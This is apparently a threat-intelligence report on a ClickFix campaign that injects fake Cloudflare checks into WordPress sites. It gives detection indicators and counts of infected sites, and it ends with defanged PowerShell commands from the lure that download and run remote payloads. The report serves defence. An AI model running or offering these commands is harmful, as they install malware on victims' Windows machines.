DoubleDonut ClickFix kit

Rapid7 documented the campaign

Rapid7 published this campaign as "ClickFix DoubleDonut". The code injected into websites is identical to the code in their report, down to the window.__performance_optimizer_v6 guard and the same crawler filter.

How it gets onto a site

We see the same loader placed several ways. One is a plugin-style loader that posts to the site's own admin-ajax.php with the action bsc_sl_get_script. The site's server makes the blockchain call and hands the script back, so the visitor's browser only ever talks to the site.

Other sites carry a small injected loader that decodes a list of endpoints and requests /jsrepo?rnd= or /teamrepo?rnd= from each until one answers. A third version adds script tags for mpackage.js and smpackage.js, loaded from lookalike CDN hosts named like cdn.<word>delivr.com. We have matched the mpackage.js tag on 464 sites since 1 September 2026. Caching plugins and CDNs then keep copies of the injected scripts, so the code can outlive the first clean-up.

Each build is packed with its own small JavaScript virtual machine, with a fresh alphabet and type tags every time. DoubleDonut's contract holds the whole next stage. The loader sends eth_call with the selector 0x6d4ce63c to a contract on BNB Smart Chain testnet (chain 97), decodes the returned string from Base64 and runs it.

Windows visitors only

The loaders skip crawlers and stay off WordPress system paths such as /wp-admin and /wp-json. The second stage exits unless the browser reports Windows. An owner who checks from the dashboard, or from a Mac, will see a normal site.

The fake Cloudflare check

Windows visitors get a full-screen Cloudflare page with the site's domain and a Ray ID, drawn inside a shadow root so the site's own styles cannot touch it. Every build mounts the same page with the same stylesheet.

The steps are Win+X, then I to open Terminal, then Ctrl+V. The lure picks one of 31 sets of instructions from the browser's language, so German visitors are told to press Strg instead of Ctrl. The command itself is fetched for each visitor and copied to the clipboard from a hidden text box.

When a site carries two different builds of the lure, each one keeps re-adding its own overlay and the page freezes. For some owners, a page that locks up is the first visible sign.

What we see

Month	New sites
September	1,078
October	613
November so far	201

Of the 1,007 sites recaptured at least 25 days after their first match, 778 were still serving DoubleDonut (77%). 90% of the sites captured since 25 September run WordPress, and 56% of those run WordPress 7.1.

Checking a site

Look at the public page from a Windows browser you do not use to log in. Then check for:

• a script tag loading mpackage.js or smpackage.js from a host you do not recognise
• __performance_optimizer_v6 in the page source or in a theme or plugin file
• an admin-ajax.php action called bsc_sl_get_script, or a bsc-sl-loader script you did not install
• elements named __cf_challenge_host__ or __app_root_overlay__ in the rendered page
• a "Cloudflare" check that asks you to press Win+X, I and Ctrl+V

Clear the site's cache and CDN after removing the code, or the old copies keep serving it.

irm 'hxxps://checkingrayid[.]com/my?sid=1794470831243-y87gsbdc'|iex

iex(iwr hxxps://cloudelivrenterprise[.]com//?sid=REPLACE_ID -UseBasicParsing)

iex(iwr hxxps://clouddelivry[.]com/?sid=REPLACE_ID)

$t=$env:APPDATA+[char]92+"g";$z=$t+[char]92+"g[.]zip";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z "hxxps://cdn[.]kjhg[.]shop/seo/inst.php";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter "Snginstar.exe"|Select-Object -First 1;if($e){$w=[wmiclass]"Win32_Process";$w.Create($e.FullName)|Out-Null};exit

iex(iwr hxxps://cloudeliveryenterprise[.]com//?sid=REPLACE_ID -UseBasicParsing)